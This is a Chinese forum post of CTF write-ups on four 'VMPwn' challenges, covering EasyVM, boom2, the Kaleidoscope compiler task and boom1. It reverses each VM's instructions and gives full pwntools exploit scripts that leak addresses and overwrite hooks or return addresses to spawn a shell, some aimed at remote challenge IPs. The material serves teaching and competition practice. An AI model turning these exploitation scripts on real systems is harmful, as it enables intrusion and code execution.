查看: 108|回复: 0

[Pwn] VMPwn之温故知新

[复制链接]
发表于 2020-5-27 13:06:47 | 显示全部楼层 |阅读模式
VMPwn之温故知新前言  VMPwn泛指实现一些运算指令来模拟程序运行的Pwn题。去年十二月的时候跟着0xC4m3l师傅的文章系统学习了一下VMPwn,到今天发现VMPwn已经成了一个主流的出题方向,在去年的上海大学生网络安全大赛和红帽杯的线下也有几道VMPwn,因此我这里拿几道最近的题目来总结一下此类问题的一般思路。
题目概述  我们现在常见到的VMPwn基本设计如下:
  • 分配内存模拟程序执行,基本组成要素为代码区和数据区,这两块区域可以分配在同一块内存或者两块独立内存。
  • 数据区域包含模拟栈和模拟寄存器。
  • 代码区根据用户指令模拟各种操作,如压栈出栈,寄存器立即数运算等
  • 一般都是数据区的读写越界引发的漏洞,根据数据区内存分配位置的不同可以分为栈越界,bss越界和堆越界三类问题。
  典型的题目有ciscn_2019_virtual、Ogeek_ovm、D3CTF_babyrop等。除了这种在机器码层面模拟程序执行的题目,还有模拟运行高级语言代码的题目,二者侧重点不太一样,我们分别拿例题来讲解。
汇编类VMPwn  这类问题的核心就是逆向,漏洞多是越界读写,先分析VM接收的数据格式,之后通过静态代码分析和动态调试搞清每条模拟指令的含义,再根据指令进行组合利用漏洞。
2020-no-Conv-CTF_EasyVm程序逻辑  在逆指令前,可以通过IDA的结构体导入功能导入C语言形式的结构体,简化代码。经过分析,核心的数据结构是这样一个node结构体。
struct node{  unsigned int reg[6];
  unsigned int chunk1;
  unsigned int chunk2;
  unsigned int memchunk;
  unsigned int res2;
  unsigned int chunk_addr;
  };
  

  首先是main函数的代码,大的功能是分配一块区域供用户写指令和数据,将这块内存作为参数交与VM虚拟机执行,释放堆内存以及给一个present。
int __cdecl main(int argc, const char **argv, const char **envp)  {
  void *buf; // ST2C_4
  node *ptr; // [esp+18h] [ebp-18h]
  int bss_addr; // [esp+ACh] [ebp+7Ch]
  Init();
  ptr = SetInit();
  while ( 1 )
  {
  switch ( menu() )
  {
  case 1:
  buf = malloc(0x300u);                   // produce
  read(0, buf, 0x2FFu);
  ptr->mem_chunk = (unsigned int)buf;
  break;
  case 2:                                   // start
  if ( !ptr )
  exit(0);
  MainMethod(ptr);
  break;
  case 3:
  if ( !ptr )
  exit(0);
  free((void *)ptr->chunk_addr);          // Recycle,double free
  free(ptr);
  break;
  case 4:
  puts("Maybe a bug is a gif?");
  some_bss_val = bss_addr;                // 这里需要调试看到这个值
  ptr->mem_chunk = (unsigned int)&unk_3020;
  break;
  case 5:
  puts("Zzzzzz........");
  exit(0);
  return;
  default:
  puts("Are you kidding me ?");
  break;
  }
  }
  }
  

  MainMethod函数实现的指令比较多,我们截取漏洞利用用到的,其他的指令还有add,sub,sub,mul,div,xor,>>,<<,return,or,and。
  0x80这条指令同Magic函数相关,在IDA中其反编译的效果并不好,在gdb动态调试之后我们可以发现这条指令的含义是ptr_chunk[idx]=val,其中idx和val都是可控数据,因此这里存在堆越界写。
  0x53指令调用putchar输出*reg[3]的值。
  0x76指令设置reg[3]=*(ptr_chunk->chunk1)。
  0x54指令调用getchar函数向ptr_chunk->reg[3]存储的地址里输入值。
  0x9指令将我们main函数中获取的present赋值给ptr_chunk->reg[1],配合指令0x11可以将这个值输出。
unsigned int __cdecl MainMethod(node *ptr_chunk)  {   //...
  if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x80u )
  {
  ptr_chunk->reg[Magic(ptr_chunk, 1u)] = *(_DWORD *)(ptr_chunk->mem_chunk + 2);// magic here,prt_chunk[可控idx] = 可控数字
  ptr_chunk->mem_chunk += 6;
  }
  if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x53 )// leak
  {
  putchar(*(char *)ptr_chunk->reg[3]);      // 改为got表
  ptr_chunk->mem_chunk += 2;
  }
  if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x76 )
  {
  ptr_chunk->reg[3] = *(_DWORD *)ptr_chunk->chunk1;// set val
  *(_DWORD *)ptr_chunk->chunk1 = 0;
  ptr_chunk->chunk1 += 4;
  ptr_chunk->mem_chunk += 5;
  }
  if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x54 )// get input;get shell
  {
  v1 = (_BYTE *)ptr_chunk->reg[3];
  *v1 = getchar();
  ptr_chunk->mem_chunk += 2;
  }
  if ( *(_BYTE *)ptr_chunk->mem_chunk == 9 )
  {
  ptr_chunk->reg[1] = some_bss_val;         // set bss addr
  ++ptr_chunk->mem_chunk;
  }
  if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x11 )// leak proc base
  {
  printf("%p\n", ptr_chunk->reg[1]);
  ++ptr_chunk->mem_chunk;
  }
  //...
  }
  int __cdecl Magic(node *ptr_chunk, unsigned int one)
  {
  int result; // eax
  unsigned int v3; // [esp+1Ch] [ebp-Ch]
  v3 = __readgsdword(0x14u);
  result = 0;
  if ( one <= 2 )
  result = *(unsigned __int8 *)(*(unsigned int *)((char *)ptr_chunk->reg + (_DWORD)(&free_ptr - 0xBE7)) + one);
  if ( __readgsdword(0x14u) != v3 )
  chk_fail();
  return result;
  }
  

漏洞利用  这里的漏洞就是0x80指令的越界问题,以及main函数中清空堆块时的double free,还有出题人留的一个present。
  我们首先用gdb调试查看所谓的present,发现是一个bss地址,因此使用0x9+0x11可以泄露程序加载基址proc_base。
  有了基址我们使用0x80指令将reg[3]改为[email protected],配合0x53的单字节打印分4次输出得到puts函数地址从而得到libc基址。
  泄露heap地址也同理,我们用0x80指令将reg[3]改成main_arena->bins[]中的smallbin的存储地址,再调用0x53指令输出得到heap基址。
  最后Getshell需要0x80+0x76+0x54,我们在堆上写一个__malloc_hook地址,通过0x80指令将ptr_chunk->chunk1改成存储__malloc_hook的堆地址,0x76指令则将这个地址赋值给reg[3],而0x54指令可以单字节向__malloc_hook输入值,我们分4次写入one_gadget即可。
#coding=utf-8  from pwn import *
  r = lambda p:p.recv()
  rl = lambda p:p.recvline()
  ru = lambda p,x:p.recvuntil(x)
  rn = lambda p,x:p.recvn(x)
  rud = lambda p,x:p.recvuntil(x,drop=True)
  s = lambda p,x:p.send(x)
  sl = lambda p,x:p.sendline(x)
  sla = lambda p,x,y:p.sendlineafter(x,y)
  sa = lambda p,x,y:p.sendafter(x,y)
  context.update(arch='i386',os='linux',log_level='debug')
  context.terminal = ['tmux','split','-h']
  debug = 0
  elf = ELF('./EasyVM')
  libc_offset = 0x3c4b20
  gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
  if debug:
  libc = ELF('/lib/i386-linux-gnu/libc.so.6')
  p = process('./EasyVM')
  else:
  libc = ELF('./libc-2.23.so')
  p = remote('121.36.215.224',9999)
  def Add(content):
  p.recvuntil('>>>')
  p.sendline('1')
  sleep(0.02)
  p.send(content)
  def Start():
  p.recvuntil('>>>')
  p.sendline('2')
  def Delete():
  p.recvuntil('>>>')
  p.sendline('3')
  def Gift():
  p.recvuntil('>>>')
  p.sendline('4')
  def exp():
  #leak proc base
  Gift()
  data = p8(0x9)+p8(0x11)+p8(0x99)
  Add(data)
  Start()
  p.recvuntil("0x")
  code_base = int(p.recvn(8),16) - (0x565556c0-0x56555000)
  log.success("code base => " + hex(code_base))
  #leak libc
  Delete()
  data = p8(0x80)+p8(0x3)+p32(code_base+0x0002fd0)+p8(0x53)+'\x00'
  data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd1)+p8(0x53)+'\x00'
  data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd2)+p8(0x53)+'\x00'
  data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd3)+p8(0x53)+'\x00'
  data += '\x99'
  Add(data)
  Start()
  p.recvn(2)
  libc_base = u32(p.recvn(4)) - libc.sym['puts']
  log.success("libc base => " + hex(libc_base))
  #leak heap
  target = libc_base + (0xf7fb2150-0xf7e00000)
  malloc = libc_base + libc.sym['__malloc_hook']
  shell = libc_base + gadgets[1]
  data = p8(0x80)+p8(0x3)+p32(target)+p8(0x53)+'\x00'
  data += p8(0x80)+p8(0x3)+p32(target+1)+p8(0x53)+'\x00'
  data += p8(0x80)+p8(0x3)+p32(target+2)+p8(0x53)+'\x00'
  data += p8(0x80)+p8(0x3)+p32(target+3)+p8(0x53)+'\x00'
  data += '\x99'
  Add(data)
  Start()
  p.recvn(2)
  heap_base = u32(p.recvn(4))
  log.success("heap base => " + hex(heap_base))
  #get shell
  fake_heap = heap_base + (0x56559aaf-0x56559000)
  fake_heap1 = heap_base + (0x56559abc-0x56559000)
  fake_heap2 = heap_base + (0x56559ac9-0x56559000)
  fake_heap3 = heap_base + (0x56559ad6-0x56559000)
  data = p8(0x80)+p8(0x6)+p32(fake_heap)+p8(0x76)+p32(malloc)+p8(0x54)+'\x00'
  data += p8(0x80)+p8(0x6)+p32(fake_heap1)+p8(0x76)+p32(malloc+1)+p8(0x54)+'\x00'
  data += p8(0x80)+p8(0x6)+p32(fake_heap2)+p8(0x76)+p32(malloc+2)+p8(0x54)+'\x00'
  data += p8(0x80)+p8(0x6)+p32(fake_heap3)+p8(0x76)+p32(malloc+3)+p8(0x54)+'\x00'
  data += '\x99'
  Add(data)
  Start()
  raw_input()
  p.send(p8(shell&0xff))
  raw_input()
  p.send(p8((shell&0xffff)>>8))
  raw_input()
  p.send(p8((shell>>16)&0xff))
  raw_input()
  p.send(p8((shell>>24)))
  #gdb.attach(p,'b* 0x56555000+ 0xcaf')
  p.recvuntil('>>>')
  p.sendline('3')
  p.interactive()
  exp()
  

网鼎杯青龙组boom2程序逻辑  main函数的开始部分分配了两个大小为0x40000uLL的堆块,因为大于了默认的heap分配阈值,调用mmap分配内存,在堆地址中存储了一个栈地址。
setbuf(stdout, 0LL);  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  chunk_addr = (signed __int64 *)malloc(0x40000uLL);// >0x23000,mmap
  buf = (char *)malloc(0x40000uLL);
  printf("MC execution system\nInput your code> ", 0LL);
  read(0, buf, 0x120uLL);
  chunk_addr += 0x8000;
  chunk_8000_addr = chunk_addr;
  --chunk_addr;
  *chunk_addr = 0x1ELL;
  --chunk_addr;
  *chunk_addr = 0xDLL;
  v4 = chunk_addr;
  --chunk_addr;
  *chunk_addr = a1 - 1;
  --chunk_addr;
  *chunk_addr = (signed __int64)(a2 + 1);       // 这里放了栈地址进去
  chunk_8000_addr_sub_1 = chunk_addr - 1;
  *chunk_8000_addr_sub_1 = (signed __int64)v4;  // 堆里保存了自己的地址
  v37 = 0LL;
  

  整个虚拟机只能执行一次,且最多执行30条指令,这里依然是只分析重点的指令,其他包括v36和*chunk_8000_addr_sub_1的add/sub/mul/div/>>/&/^等运算,不一而足。
  0x0的指令存在一个明显的堆越界读,将数据赋值给v36。
  0x6的指令存在同样的问题,只不过赋值的对象变成了chunk_8000_addr_sub_1。
  0x9指令将v36作为地址取值再赋给v36。
  0x11指令为v36的双重取值再赋值。
  0x13指令执行*chunk_8000_addr_sub_1 = v36,这条指令将v36和chunk_8000_addr_sub_1关联了起来。
//choice=0  buf2 = buf;// choice为0
  buf += 8;
  v36 = (signed __int64)&chunk_8000_addr[*buf2];// v7可控的话这里有堆越界
  //choice=1
  buf3 = (signed __int64 *)buf;// choice=1
  buf += 8;
  v36 = *buf3;// 取buf值赋值给v36
  // choice=6
  chunk_8000_addr_sub_2 = chunk_8000_addr_sub_1 - 1;
  *chunk_8000_addr_sub_2 = (signed __int64)chunk_8000_addr;
  chunk_8000_addr = chunk_8000_addr_sub_2;
  buf4 = buf;
  buf += 8;
  chunk_8000_addr_sub_1 = &chunk_8000_addr_sub_2[-*buf4];// (注意要乘8)前溢将堆地址赋值给这个值
  //choice=9
  v36 = *(_QWORD *)v36;//取8字节v36地址上的值赋给v36
  //choice=11
  v13 = (signed __int64 **)chunk_8000_addr_sub_1;// v13先放一个map地址,这个地址的值是retn_addr
  ++chunk_8000_addr_sub_1;
  **v13 = v36;//两次取值,赋值为一个可控值
  //choice=13
  --chunk_8000_addr_sub_1;//把v36写到堆上
  *chunk_8000_addr_sub_1 = v36;// 先让v36得到我们的那个目标值
  

漏洞利用  这里没有输出函数,我们考虑将返回地址的__libc_start_main函数直接拷贝到map地址,通过加运算得到one_gadget。
  将map上的原栈地址进行加减运算得到retn_addr,再用双重赋值指令把one_gadget写入到retn_addr。在exp注释中详细解释了每一条指令的目的。
#coding=utf-8  from pwn import *
  r = lambda p:p.recv()
  rl = lambda p:p.recvline()
  ru = lambda p,x:p.recvuntil(x)
  rn = lambda p,x:p.recvn(x)
  rud = lambda p,x:p.recvuntil(x,drop=True)
  s = lambda p,x:p.send(x)
  sl = lambda p,x:p.sendline(x)
  sla = lambda p,x,y:p.sendlineafter(x,y)
  sa = lambda p,x,y:p.sendafter(x,y)
  context.update(arch='amd64',os='linux',log_level='DEBUG')
  context.terminal = ['tmux','split','-h']
  debug = 2
  elf = ELF('./pwn')
  libc_offset = 0x3c4b20
  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
  if debug == 1:
  gadgets = [0x45216,0x4526a,0xcd0f3,0xcd1c8,0xf02a4,0xf02b0,0xf1147,0xf66f0]
  p = process('./pwn')
  elif debug == 2:
  gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
  p = process('./pwn', env={'LD_PRELOAD':'./libc6_2.23-0ubuntu10_amd64.so'})
  else:
  p = remote('182.92.73.10',36642)
  def exp():
  #environ+0xf0 = retn_addr
  libc_base = 0x7ffff7a0d000
  shell_addr = gadgets[3]
  target = libc.sym['__libc_start_main']+240
  off = shell_addr - target
  print hex(off)
  p.recvuntil("Input your code> ")
  #gdb.attach(p,'b* 0x0000555555554000+0xb72')
  #gdb.attach(p,'b* 0x0000555555554000+0xe43')
  #set args = bin_sh
  payload = flat([
  0,-4,#set v36 = map_addr(stack_addr on it)
  9,#set v36 = stack_addr
  6,0x101e0,#set chunk_8000_addr_sub_1
  25,#set v36 = retn_addr
  6,-0x101e3,#set chunk_8000_addr_sub_1 = map_addr
  13,#set map_addr(retn_addr)
  9,#set v36 = libc_start_main+240
  6,0x101e0,#set map_addr
  25,#set v36 = one_gadget
  6,-0x101e1,#set chunk_8000_addr_sub_1 = map_addr
  11,#set retn_addr(one_gadget)
  ])
  payload = payload.ljust(8*26,'\x00')
  payload += flat([
  -0xe8,off,0x12345678
  ])
  p.sendline(payload)
  p.interactive()
  exp()
  

编译器类VM  这类VM主要接收用户的高级语言形式的代码,模拟编译执行,相比于汇编类的VM,它更加灵活,难度也更高,做题没有固定的套路,需要自己结合题目环境解题。
2019红帽杯-万花筒程序逻辑 && 漏洞利用  题目是用llvm自己实现的一个小型编译器,是llvmcookbook的示例改的,toy语言,看Kaleidoscope这个名字应该就可以找到教程,gettok里定义了一些标识符,在划分语元的时候使用,这里有def、extern、if等。
  在引用未定义的函数会提示Error: Unknown function referenced, 假如我们定义一个名称与库函数相同且没有body的函数(如def system(a);), 第一次调用提示Error: Unknown unary operator, 之后能调用到库函数,因此我们调用mmap分配一块固定内存地址存放/bin/sh,之后调用sytem(map_addr)来get shell。
from pwn import *  p = process("./pwn2")
  p.recvuntil("ready> ")
  p.sendline("def mmap(a b c d e f);")
  p.recvuntil("ready> ")
  p.sendline("mmap(1,1,1,1,1,1);")
  p.recvuntil("ready> ")
  p.sendline("def read(a b c);")
  p.recvuntil("ready> ")
  p.sendline("read(1,1,1);")
  p.recvuntil("ready> ")
  p.sendline("mmap("+str(0x10000)+","+str(0x1000)+",3,34,0,0);")
  p.recvuntil("ready> ")
  p.recvuntil("ready> ")
  p.sendline("read(0,65536,20);")
  p.recvuntil("ready> ")
  p.sendline("/bin/sh")
  p.recvuntil("ready> ")
  p.sendline("def system(a);")
  p.recvuntil("ready> ")
  p.sendline("system(0);")
  p.recvuntil("ready> ")
  p.sendline("system(65536);")
  p.interactive()
  

2020网鼎杯青龙组-boom1程序逻辑 && 漏洞利用  这道题目也是一道编译器类的VM,程序限制我们只能进行一次函数调用,在调试过程中可以发现存储我们指令的内存地址是通过map得到的,因此其地址和libc地址偏移是固定的,我们可以定义一个变量,从这个变量的地址寻址到__free_hook和system函数,将后者覆写到前者,再调用free('/bin/sh')即可。
#coding=utf-8  from pwn import *
  r = lambda p:p.recv()
  rl = lambda p:p.recvline()
  ru = lambda p,x:p.recvuntil(x)
  rn = lambda p,x:p.recvn(x)
  rud = lambda p,x:p.recvuntil(x,drop=True)
  s = lambda p,x:p.send(x)
  sl = lambda p,x:p.sendline(x)
  sla = lambda p,x,y:p.sendlineafter(x,y)
  sa = lambda p,x,y:p.sendafter(x,y)
  context.update(arch='amd64',os='linux',log_level='DEBUG')
  context.terminal = ['tmux','split','-h']
  debug = 1
  elf = ELF('./pwn')
  libc_offset = 0x3c4b20
  gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
  if debug:
  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  p = process('./pwn')
  def exp():
  gdb.attach(p,'b* 0x555555558724')
  p.recvuntil("I'm living...")
  payload = '''main(){int a;a=0x12345677;*(&a-161542)=&a-620937;free("/bin/sh");}'''
  p.sendline(payload)
  p.interactive()
  exp()
  

总结  从我们举的例题中可以看到汇编类的VMPwn核心是逆向和对于已有指令的组合,编译器类的VMPwn则需要动态的调试去寻找规律,相比于前者更加复杂。


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
微信公众号
快速回复 返回顶部 返回列表